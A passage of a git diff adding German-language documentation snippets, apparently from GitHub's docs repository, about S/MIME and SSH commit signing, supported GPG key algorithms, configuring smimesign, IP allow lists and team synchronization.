+{% ifversion fpt or ghec %} Um deine E-Mail-Adresse privat zu halten, verwende die von {% data variables.product.product_name %} bereitgestellte `no-reply`-E-Mail-Adresse.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/gpg/smime-git-version.md b/translations/de-DE/data/reusables/gpg/smime-git-version.md
new file mode 100644
index 0000000000..2b5ad53f15
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/smime-git-version.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 940cd229e31454f0e4946537e218fa7edbe2145c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101659"
+---
+
+{% note %}
+
+**Hinweis**: Die S/MIME-Signaturüberprüfung ist in Git 2.19 oder höher verfügbar. Informationen zum Aktualisieren deiner Version von Git findest du auf der [Git](https://git-scm.com/downloads)-Website.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/gpg/ssh-git-version.md b/translations/de-DE/data/reusables/gpg/ssh-git-version.md
new file mode 100644
index 0000000000..c73689ea9e
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/ssh-git-version.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 015704b0f117b6615b4aea9f2c203051205e503f
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147653390"
+---
+
+{% note %}
+
+**Hinweis**: Die SSH-Signaturüberprüfung ist in Git 2.34 oder höher verfügbar. Informationen zum Aktualisieren deiner Version von Git findest du auf der [Git](https://git-scm.com/downloads)-Website.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/gpg/supported-gpg-key-algorithms.md b/translations/de-DE/data/reusables/gpg/supported-gpg-key-algorithms.md
new file mode 100644
index 0000000000..cb7fa15487
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/supported-gpg-key-algorithms.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 4f798df40569f449ce5fff79117cc6dab4e4051e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101655"
+---
+
+### Unterstützte GPG-Schlüsselalgorithmen
+
+{% data variables.product.product_name %} unterstützt mehrere GPG-Schlüsselalgorithmen. Wenn Du versuchst, einen Schlüssel hinzuzufügen, der mit einem nicht unterstützten Algorithmus generiert wurde, kann es zu einem Fehler kommen.
+
+- RSA
+- ElGamal
+- DSA
+- ECDH
+- ECDSA
+- EdDSA
diff --git a/translations/de-DE/data/reusables/gpg/x-509-key.md b/translations/de-DE/data/reusables/gpg/x-509-key.md
new file mode 100644
index 0000000000..0ff2490c2d
--- /dev/null
+++ b/translations/de-DE/data/reusables/gpg/x-509-key.md
@@ -0,0 +1,65 @@
+---
+ms.openlocfilehash: 3661ae0cbef8282faa12b3d71bef77d503fcc0c6
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147785410"
+---
+
+## Git über Deinen X.509-Schlüssel informieren
+
+Du kannst [smimesign](https://github.com/github/smimesign) verwenden, um Commits und Tags mit S/MIME zu signieren.
+
+{% data reusables.gpg.smime-git-version %}
+
+1. Installiere [smimesign](https://github.com/github/smimesign#installation).
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Lege fest, dass Git S/MIME zum Signieren von Commits und Tags verwendet. Verwende in Git 2.19 oder höher die Befehle `git config gpg.x509.program` und `git config gpg.format`:
+  - Führe den folgenden Befehl aus, um S/MIME zum Signieren sämtlicher Repositorys zu verwenden:
+  ```shell
+  $ git config --global gpg.x509.program smimesign
+  $ git config --global gpg.format x509
+  ```
+  - Führe den folgenden Befehl aus, um S/MIME zum Signieren eines einzelnen Repositorys zu verwenden:
+  ```shell
+  $ cd <em>/path/to/my/repository</em>
+  $ git config --local gpg.x509.program smimesign
+  $ git config --local gpg.format x509
+  ```
+  Verwende in Git 2.18 oder niedrigeren Versionen den Befehl `git config gpg.program`:
+  - Führe den folgenden Befehl aus, um S/MIME zum Signieren sämtlicher Repositorys zu verwenden:
+  ```shell
+  $ git config --global gpg.program smimesign
+  ```
+  - Führe den folgenden Befehl aus, um S/MIME zum Signieren eines einzelnen Repositorys zu verwenden:
+  ```shell
+  $ cd <em>/path/to/my/repository</em>
+  $ git config --local gpg.program smimesign
+  ```
+  Wenn Du einen X.509-Schlüssel verwendest, der mit Deiner Beitragender-Identität übereinstimmt, kannst Du Commits und Tags signieren.
+4. Wenn du keinen X.509-Schlüssel verwendest, der deiner Committeridentität entspricht, liste mit dem Befehl `smimesign --list-keys` die X.509-Schlüssel auf, für die du sowohl über ein Zertifikat als auch über einen privaten Schlüssel verfügst.
+  ```shell
+  $ smimesign --list-keys
+  ```
+5. Kopiere die Zertifikats-ID des gewünschten X.509-Schlüssels aus der Liste der X.509-Schlüssel. In diesem Beispiel lautet die Zertifikat-ID `0ff455a2708394633e4bb2f88002e3cd80cbd76f`:
+  ```shell
+  $ smimesign --list-keys
+               ID: 0ff455a2708394633e4bb2f88002e3cd80cbd76f
+              S/N: a2dfa7e8c9c4d1616f1009c988bb70f
+        Algorithm: SHA256-RSA
+         Validity: 2017-11-22 00:00:00 +0000 UTC - 2020-11-22 12:00:00 +0000 UTC
+           Issuer: CN=DigiCert SHA2 Assured ID CA,OU=www.digicert.com,O=DigiCert Inc,C=US
+          Subject: CN=Octocat,O=GitHub\, Inc.,L=San Francisco,ST=California,C=US
+           Emails: octocat@github.com
+  ```
+6. Um Deinen X.509-Signaturschlüssel in Git festzulegen, füge den folgenden Text ein, und ersetze die zuvor kopierte Zertifikats-ID.
+  - Um Deinen X.509-Schlüssel zum Signieren sämtlicher Repositorys zu verwenden:
+  ```shell
+  $ git config --global user.signingkey <em>0ff455a2708394633e4bb2f88002e3cd80cbd76f</em>
+  ```
+  - Um Deinen X.509-Schlüssel zum Signieren eines einzelnen Repositorys zu verwenden:
+  ```shell
+  $ cd <em>/path/to/my/repository</em>
+  $ git config --local user.signingkey <em>0ff455a2708394633e4bb2f88002e3cd80cbd76f</em>
+  ```
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/about-adding-ip-allow-list-entries.md b/translations/de-DE/data/reusables/identity-and-permissions/about-adding-ip-allow-list-entries.md
new file mode 100644
index 0000000000..b518045280
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/about-adding-ip-allow-list-entries.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: db4c80c49c4e3effe99073f29010147f3a1efc08
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108371"
+---
+Du kannst eine IP-Positivliste erstellen, indem du Einträge hinzufügst, die jeweils eine IP-Adresse oder einen Adressbereich enthalten. {% ifversion ip-allow-list-address-check %} Nachdem du das Hinzufügen von Einträgen abgeschlossen hast, kannst du überprüfen, ob eine bestimmte IP-Adresse von einem der aktivierten Einträge in deiner Liste zugelassen würde. {% endif %}
+
+Bevor die Liste den Zugriff auf {% ifversion ghae %}dein Unternehmen{% else %}private Ressourcen im Besitz von Organisationen in deinem Unternehmen{% endif %} beschränkt, musst du auch zulässige IP-Adressen aktivieren.
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/about-checking-ip-address.md b/translations/de-DE/data/reusables/identity-and-permissions/about-checking-ip-address.md
new file mode 100644
index 0000000000..3cafe03dda
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/about-checking-ip-address.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d7e7459f3ed9898a892c8b3504a32c1106e69442
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108370"
+---
+Du kannst überprüfen, ob eine bestimmte IP-Adresse von aktivierten Einträgen in deiner IP-Positivliste zugelassen würde, selbst wenn die Liste derzeit nicht aktiviert ist.
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/about-editing-ip-allow-list-entries.md b/translations/de-DE/data/reusables/identity-and-permissions/about-editing-ip-allow-list-entries.md
new file mode 100644
index 0000000000..7dc48087cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/about-editing-ip-allow-list-entries.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 8f78a77c83ea498d8d41a0deff20903062542479
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108367"
+---
+Du kannst einen Eintrag in deiner IP-Zulassungsliste bearbeiten. Wenn du einen aktivierten Eintrag bearbeitest, werden die Änderungen sofort wirksam. 
+
+{% ifversion ip-allow-list-address-check %} Nachdem du die Einträge bearbeitet hast, kannst du überprüfen, ob eine bestimmte IP-Adresse durch einen der aktivierten Einträge in deiner Liste zugelassen wird.
+{% endif %}
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/about-enabling-allowed-ip-addresses.md b/translations/de-DE/data/reusables/identity-and-permissions/about-enabling-allowed-ip-addresses.md
new file mode 100644
index 0000000000..5aca876b39
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/about-enabling-allowed-ip-addresses.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 095556009ed66ca0b687734f62f21c70fd87699a
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108366"
+---
+Nachdem du eine IP-Zulassungsliste erstellt hast, kannst du zulässige IP-Adressen aktivieren. Wenn du zulässige IP-Adressen aktivierst, erzwingt {% data variables.product.company_short %} sofort alle aktivierten Einträge in deiner IP-Zulassungsliste.
+
+{% ifversion ip-allow-list-address-check %} Vor dem Aktivieren zulässiger IP-Adressen kannst du überprüfen, ob eine bestimmte IP-Adresse durch einen der aktivierten Einträge in deiner Liste zugelassen wird. Weitere Informationen findest du unter [Überprüfen, ob eine IP-Adresse zulässig ist](#checking-if-an-ip-address-is-permitted).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/about-team-sync.md b/translations/de-DE/data/reusables/identity-and-permissions/about-team-sync.md
new file mode 100644
index 0000000000..5e3ab825b7
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/about-team-sync.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a6fe9aa1af35228d0ac32bc0da90298220241049
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147076927"
+---
+Wenn die Teamsynchronisierung für dein Organisations- oder Unternehmenskonto aktiviert ist, kannst du ein {% data variables.product.prodname_dotcom %}-Team mit einer IdP-Gruppe synchronisieren. Wenn Du ein {% data variables.product.prodname_dotcom %}-Team mit einer IdP-Gruppe synchronisierst, spiegeln sich Mitgliedschaftsänderungen an der IdP-Gruppe automatisch in {% data variables.product.product_name %} wieder. Dies erspart Dir manuelle Aktualisierungen und die Ausführung benutzerdefinierter Skripts. {% ifversion ghec %}Weitere Informationen findest du unter [Verwalten der Teamsynchronisierung für deine Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization) und [Verwalten der Teamsynchronisierung für Organisationen in deinem Unternehmenskonto](/admin/identity-and-access-management/managing-iam-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise).{% endif %}
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/check-ip-address-step.md b/translations/de-DE/data/reusables/identity-and-permissions/check-ip-address-step.md
new file mode 100644
index 0000000000..d5ad5c6596
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/check-ip-address-step.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5eaf0aa831a27f61216ae9574df61fe7445f2f94
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109617"
+---
+1. Gib unter „IP-Adresse überprüfen“ eine IP-Adresse ein.
+   ![Screenshot: Textfeld „IP-Adresse überprüfen“](/assets/images/help/security/check-ip-address.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/check-ip-address.md b/translations/de-DE/data/reusables/identity-and-permissions/check-ip-address.md
new file mode 100644
index 0000000000..c7bad8d248
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/check-ip-address.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 7b848e4c3bb4a9a4578e3f1ff92f6249dd20c699
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109614"
+---
+{%- ifversion ip-allow-list-address-check %}
+1. Optional kannst du überprüfen, ob eine bestimmte IP-Adresse durch einen der aktivierten Einträge in deiner Liste zugelassen wird. Weitere Informationen findest du unter [Überprüfen, ob eine IP-Adresse zulässig ist](#checking-if-an-ip-address-is-permitted).
+{%- endif %}
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/enable-team-sync-azure.md b/translations/de-DE/data/reusables/identity-and-permissions/enable-team-sync-azure.md
new file mode 100644
index 0000000000..86c045d1c2
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/enable-team-sync-azure.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4a87738ae0fb4750730fc5aaa9c969349a7919ed
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877089"
+---
+1. Klicke unter „Teamsynchronisierung“ auf **Für Azure AD aktivieren**.
+  ![Schaltfläche zum Aktivieren der Teamsynchronisierung auf der Seite der Sicherheitseinstellungen](/assets/images/help/teams/enable-team-synchronization.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/enable-team-sync-okta.md b/translations/de-DE/data/reusables/identity-and-permissions/enable-team-sync-okta.md
new file mode 100644
index 0000000000..45293aa013
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/enable-team-sync-okta.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 77ef628aed4b2c8ee92eba059ec650170303f0cb
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101643"
+---
+1. Klicke unter „Teamsynchronisierung“ auf **Für Okta aktivieren**.
+  ![Schaltfläche zum Aktivieren der Teamsynchronisierung für Okta auf der Seite der Sicherheitseinstellungen](/assets/images/help/teams/enable-team-synchronization-okta.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-description.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-description.md
new file mode 100644
index 0000000000..e3f7862b8b
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3833a1af7dac9fcb5daafca7d7b6156fe8f93989
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101640"
+---
+1. Gib optional eine Beschreibung der zulässigen IP-Adresse bzw. des zulässigen IP-Adressbereichs ein.
+  ![Schlüsselfeld zum Hinzufügen eines Namens für die IP-Adresse](/assets/images/help/security/ip-address-name-field.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-entry.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-entry.md
new file mode 100644
index 0000000000..5aa19a6017
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-entry.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b5cba801b25279feb1e2729caad3330f64ce2c6b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101636"
+---
+1. Klicke auf {% octicon "plus" aria-label="The plus icon" %} **Hinzufügen**.
+  ![Schaltfläche zum Hinzufügen einer zulässigen IP-Adresse](/assets/images/help/security/new-allowlist-entry-button.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-ip.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-ip.md
new file mode 100644
index 0000000000..b21738eded
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-add-ip.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a487f538d96594c885c0aa33741d4aae931ee580
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101631"
+---
+1. Gib unten im Abschnitt „IP-Positivliste“ eine IP-Adresse oder einen Bereich von Adressen in der CIDR-Notation ein.
+  ![Schlüsselfeld zum Hinzufügen der IP-Adresse](/assets/images/help/security/ip-address-field.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-address-inheritance.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-address-inheritance.md
new file mode 100644
index 0000000000..fde0d8f158
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-address-inheritance.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: ce7aa40d4312947c099afb8c1a8b88bacd021847
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101624"
+---
+Wenn du in den Einstellungen deiner Positivliste die Option **Konfiguration der IP-Positivliste für installierte GitHub Apps aktivieren** auswählst, werden IP-Adressen von installierten {% data variables.product.prodname_github_apps %} zu deiner Positivliste hinzugefügt. Dies geschieht unabhängig davon, ob deine Positivliste derzeit aktiviert ist. Wenn du eine {% data variables.product.prodname_github_app %} installierst und die Person, die diese App erstellt hat, die Adresse in ihrer Positivliste ändert, wird deine Liste automatisch mit den Änderungen aktualisiert.
+
+Du kannst die IP-Adressen, die automatisch von {% data variables.product.prodname_github_apps %} hinzugefügt wurden, anhand ihrer Beschreibung identifizieren. Die Beschreibung für diese IP-Adressen lautet: „Verwaltet durch die GitHub App NAME“. Im Gegensatz zu manuell hinzugefügten Adressen kannst du IP-Adressen, die automatisch von {% data variables.product.prodname_github_apps %} hinzugefügt werden, nicht bearbeiten, löschen oder deaktivieren.
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-cidr-notation.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-cidr-notation.md
new file mode 100644
index 0000000000..b72f8e57b0
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-cidr-notation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cc5bfa136e87a3588223a11bed62d0d1c0b9bbe3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101616"
+---
+Du kannst den Zugriff für eine einzelne IP-Adresse oder einen Adressbereich mithilfe der CIDR-Notation genehmigen. Weitere Informationen findest du unter [CIDR-Notation](https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing#CIDR_notation) in Wikipedia.
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-confirm-deletion.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-confirm-deletion.md
new file mode 100644
index 0000000000..dde27996d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-confirm-deletion.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 17e7e7149c0ecca46bd426bd67eb7b21a79cac9e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101615"
+---
+1. Um den Eintrag endgültig zu löschen, klicke auf **Ja, diesen Eintrag der IP-Positivliste löschen**.
+  ![Schaltfläche zum dauerhaften Löschen eines Eintrags aus der IP-Positivliste](/assets/images/help/security/perm-delete-allowlist-entry-button.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-delete-entry.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-delete-entry.md
new file mode 100644
index 0000000000..cc38502431
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-delete-entry.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7f92cd709921433af6b1612bc1c8f7637771b3bd
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101612"
+---
+1. Klicke unter „IP-Positivliste“ rechts neben dem zu löschenden Eintrag auf **Löschen**.
+  ![Schaltfläche zum Löschen einer zulässigen IP-Adresse](/assets/images/help/security/ip-address-delete-button.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-description.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-description.md
new file mode 100644
index 0000000000..b1a5201f0b
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-description.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8a845690255d1ff0fc2814cb44108a7054ad91c5
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883569"
+---
+1. Gib eine Beschreibung der zulässigen IP-Adresse oder des zulässigen Bereichs ein.
+  ![Schlüsselfeld zum Hinzufügen eines Namens für die IP-Adresse](/assets/images/help/security/ip-address-edit-name-field.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-entry.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-entry.md
new file mode 100644
index 0000000000..02e8b11929
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-entry.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 41f6f22ea72957adee5fc54751c1dace8c2c4864
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876990"
+---
+1. Klicke unter „IP-Positivliste“ rechts neben dem zu bearbeitenden Eintrag auf **Bearbeiten**.
+  ![Schaltfläche „Zulässige IP-Adresse bearbeiten“](/assets/images/help/security/ip-address-edit-button.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-ip.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-ip.md
new file mode 100644
index 0000000000..dc1f9b08ec
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-edit-ip.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5c0993687db809bcaeacc53a2c519ac66d126524
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101603"
+---
+1. Gib eine IP-Adresse oder einen Adressbereich in CIDR-Notation ein.
+  ![Schlüsselfeld zum Hinzufügen der IP-Adresse](/assets/images/help/security/ip-address-edit-field.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-enable.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-enable.md
new file mode 100644
index 0000000000..753485ef83
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-enable.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: abbbdeeb76eb7a1312105eb1319c808514893c30
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147682796"
+---
+Um die IP-Zulassungsliste zu erzwingen, musst du der Liste zuerst IP-Adressen hinzufügen und sie dann aktivieren.{% ifversion ip-allow-list-address-check %} Wenn die Liste fertig ist, kannst du überprüfen, ob eine bestimmte IP-Adresse durch einen der aktivierten Einträge in der Liste zugelassen wird.{% endif %} 
+
+Du musst Deine aktuelle IP-Adresse oder einen passenden Adressbereich hinzufügen, bevor Du die Liste der zulässigen IP-Adressen aktivierst.
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-enterprise.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-enterprise.md
new file mode 100644
index 0000000000..37abd17661
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-enterprise.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 5c02cf240a1d23e9549a534381d9914bd8dc0ebd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145101599"
+---
+Wenn du die Positivliste aktivierst, werden die von dir konfigurierten IP-Adressen sofort zu den Positivlisten der Organisationen in deinem Unternehmen hinzugefügt. Wenn du die Positivliste deaktivierst, werden die Adressen aus den Positivlisten der Organisationen entfernt.
+
+Du kannst festlegen, dass alle IP-Adressen, die für in deinem Unternehmen installierte {% data variables.product.prodname_github_apps %} konfiguriert sind, automatisch zu deiner Positivliste hinzugefügt werden. Die Person, die eine {% data variables.product.prodname_github_app %} erstellt, kann eine Positivliste für die Anwendung konfigurieren, die alle IP-Adressen angibt, an denen die Anwendung ausgeführt wird. Indem du deine Positivliste so konfigurierst, dass sie von dieser Positivliste erbt, vermeidest du, dass Verbindungsanforderungen von der Anwendung abgelehnt werden. Weitere Informationen findest du unter [Zulassen des Zugriffs durch GitHub Apps](#allowing-access-by-github-apps).
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-example-and-restrictions.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-example-and-restrictions.md
new file mode 100644
index 0000000000..aa9ea7feac
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-example-and-restrictions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 82c112384d3704081963af200feee489d5183016
+ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876758"
+---
+Du kannst zum Beispiel den Zugriff nur über die IP-Adresse Deines Büronetzwerks zulassen. Die Positivliste für IP-Adressen blockiert den Zugriff auf private Ressourcen über das Internet, eine API und Git für alle IP-Adressen, die nicht in der Positivliste aufgeführt sind.
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-githubapps-enterprise.md b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-githubapps-enterprise.md
new file mode 100644
index 0000000000..a8bd9db5c1
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/ip-allow-lists-githubapps-enterprise.md
@@ -0,0 +1,16 @@
+If you're using an allow list, you can also choose to automatically add to your allow list any IP addresses configured for {% data variables.product.prodname_github_apps %} that are installed in your enterprise. 
+
+{% data reusables.identity-and-permissions.ip-allow-lists-address-inheritance %}
+
+{% data reusables.apps.ip-allow-list-only-apps %}
+
+For more information about how to create an allow list for a {% data variables.product.prodname_github_app %} you have created, see "[Managing allowed IP addresses for a GitHub App](/developers/apps/building-github-apps/managing-allowed-ip-addresses-for-a-github-app)."
+
+To enable automatic addition of IP addresses for {% data variables.product.prodname_github_apps %}:
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. Under "IP allow list", select **Enable IP allow list configuration for installed GitHub Apps**.
+  ![Checkbox to allow GitHub App IP addresses](/assets/images/help/security/enable-ip-allowlist-githubapps-checkbox.png)
+1. Click **Save**.
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/ipv6-allow-lists.md b/translations/de-DE/data/reusables/identity-and-permissions/ipv6-allow-lists.md
new file mode 100644
index 0000000000..f69bb95051
--- /dev/null
